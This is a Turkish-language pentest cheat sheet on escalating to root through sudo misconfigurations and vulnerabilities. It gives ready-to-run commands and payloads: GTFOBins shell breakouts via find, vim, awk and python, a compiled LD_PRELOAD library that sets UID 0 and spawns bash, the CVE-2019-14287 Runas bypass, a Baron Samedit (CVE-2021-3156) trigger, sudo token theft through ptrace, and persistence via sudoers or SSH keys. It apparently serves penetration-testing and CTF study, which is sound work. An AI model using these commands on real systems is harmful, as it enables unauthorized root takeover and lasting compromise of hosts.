Sudo İstismarı (sudo -l, NOPASSWD, GTFOBins, LD_PRELOAD, sudo token, CVE)
sudo -l ile çalıştırabileceğin komutları say; NOPASSWD/ALL girdileri, GTFOBins sudo breakout'ları, env_keep ile LD_PRELOAD/LD_LIBRARY_PATH enjeksiyonu, sudo token çalma ve Baron Samedit (CVE-2021-3156) / Runas ALL bypass (CVE-2019-14287) gibi bilinen sudo zafiyetleri ile root'a yüksel.
- Bir kullanıcı shell'i (foothold) ve mümkünse o kullanıcının parolası
- Hedefte sudo binary'sinin kurulu olması
- TTY (sudo çoğu zaman gerçek bir terminal ister; python pty ile shell upgrade yapılmış olmalı)
Komutlar
sudo -l sudo -ln sudo -V | head -1 sudo /bin/bash -p sudo -u root /usr/bin/find . -exec /bin/sh \; -quit sudo /usr/bin/vim -c ':!/bin/sh' sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}' sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")' printf '#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\nvoid _init(){unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash -p");}' > /tmp/shell.c && gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c sudo LD_PRELOAD=/tmp/shell.so /usr/sbin/apache2 sudo LD_LIBRARY_PATH=/tmp /usr/sbin/somebinary sudo -u#-1 /usr/bin/id sudoedit -s '\' $(python3 -c 'print("A"*1000)') ./pspy64 -pf -i 1000 Genel Bakış
Linux PrivEsc’te sudo en kârlı ilk duraktır. Bir foothold shell’i aldığında ilk komutun her zaman sudo -l olmalı: bu çıktı, parola istemeden mi (NOPASSWD) yoksa parola ile mi komut çalıştırabildiğini, hangi kullanıcı olarak (Runas), hangi binary’lerle ve hangi env_keep ayarlarıyla çalıştığını gösterir. sudo -l parolasız çalışıyorsa zaten kazanmaya yakınsın; parola gerekiyorsa ama kullanıcının parolasını biliyorsun, yine de tüm yollar açık.
Enumeration
Önce kapsamı çıkar:
sudo -l→ tam liste.(ALL : ALL) ALL,(root) NOPASSWD: /path/bingibi satırları oku.sudo -V | head -1ile sürümü al — Baron Samedit (CVE-2021-3156, <1.9.5p2) ve pwfeedback (CVE-2019-18634) sürüme bağlıdır./etc/sudoersve/etc/sudoers.d/*okunabiliyorsa (nadiren) doğrudan kuralları gör.
Çıktıda dikkat edilecek anahtarlar: NOPASSWD:, SETENV:, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH, (ALL, !root) (Runas bypass adayı), tek tek izin verilmiş yorumlayıcı/editör/arşiv binary’leri (GTFOBins adayları).
Exploitation Yolları
1. NOPASSWD: ALL / ALL: ALL
sudo -l (ALL) ALL veya (ALL) NOPASSWD: ALL gösteriyorsa en basit yol sudo /bin/bash -p. -p mevcut ortamı korur; bazı durumlarda sudo su - daha temizdir.
2. GTFOBins sudo breakout
İzin verilen binary tam yol ile belirli bir komutsa (örn. (root) /usr/bin/find), o binary’nin GTFOBins’teki sudo bölümüne bak. find/vim/less/awk/python/perl/tar/zip/nmap gibi onlarca binary root shell’e açar. Mantık her zaman aynı: binary içinden bir alt-kabuk veya komut çalıştırma primitifi (-exec, :!, system(), --checkpoint-action) tetiklemek. Detaylı metodoloji için lnx-gtfobins sayfasına bak.
3. env_keep ile LD_PRELOAD
sudo -l çıktısında env_keep+=LD_PRELOAD görürsen, sudo bu değişkeni alt sürece taşır. _init() içinde setuid(0) + system() çağıran küçük bir .so derle, sonra izin verilen herhangi bir binary’i sudo LD_PRELOAD=/tmp/shell.so <binary> ile çağır — kütüphane root yetkisiyle yüklenir. LD_LIBRARY_PATH korunuyorsa, binary’nin gerçekten yüklediği bir kütüphanenin sahte sürümünü hazırlaman gerekir (hangi kütüphane olduğunu ldd ile bul). .so içinde unsetenv("LD_PRELOAD") koymayı unutma, aksi halde alt-shell de aynı payload’ı yükleyip döngüye girer.
4. Runas bypass — CVE-2019-14287
Kural (ALL, !root) /bin/bash gibi “root hariç herkes” diyorsa, sudo -u#-1 ile UID -1 verirsin; sudo bunu 0’a çevirir ve !root filtresi atlanır. sudo <1.8.28 için geçerli.
5. Baron Samedit — CVE-2021-3156
sudo <1.9.5p2’de sudoedit -s ile tetiklenen heap overflow herkesin (sudoers’ta olmayan kullanıcılar dahil) root almasını sağlar. Tetikleyici PoC sudoedit -s '\' $(perl -e 'print "A"x1000') segfault verirse savunmasızdır. Gerçek root için Blasty veya worawit’in derlenebilir PoC’unu kullanırsın — bu otomatik bellek-bozma exploiti olduğu için examSafety açısından restricted kabul et.
6. Sudo token çalma
Kullanıcı son ~15 dakikada başka bir terminalde sudo çalıştırdıysa, /var/run/sudo/ts/<user> altında geçerli bir token kalır ve ptrace ile o terminalin sudo token’ı yeniden kullanılabilir. Önkoşul: kernel.yama.ptrace_scope = 0 ve aynı kullanıcının aktif bir sudo oturumu. pspy ile başka terminallerdeki sudo süreçlerini izleyip fırsatı yakalarsın.
Notlar ve Tuzaklar
- sudo genellikle gerçek bir TTY ister; ilk iş ters kabuğunu
python3 -c 'import pty;pty.spawn("/bin/bash")'ile yükselt (bkz. lnx-shell-upgrade). pwfeedback(CVE-2019-18634) sudoers’taDefaults pwfeedbackaçıksa geçerlidir; çıktıda yıldız (*) gösteriyorsa adaydır.- Wildcard veya yazılabilir script çağıran sudo girdilerinde, script’in kendisini değiştirmek (PATH/writable) çoğu zaman binary-breakout’tan daha kolaydır.
- root shell aldıktan sonra
idile doğrula; gerekiyorsa/etc/sudoersveya SSH anahtarı ile kalıcılık (post-exploitation) düşün.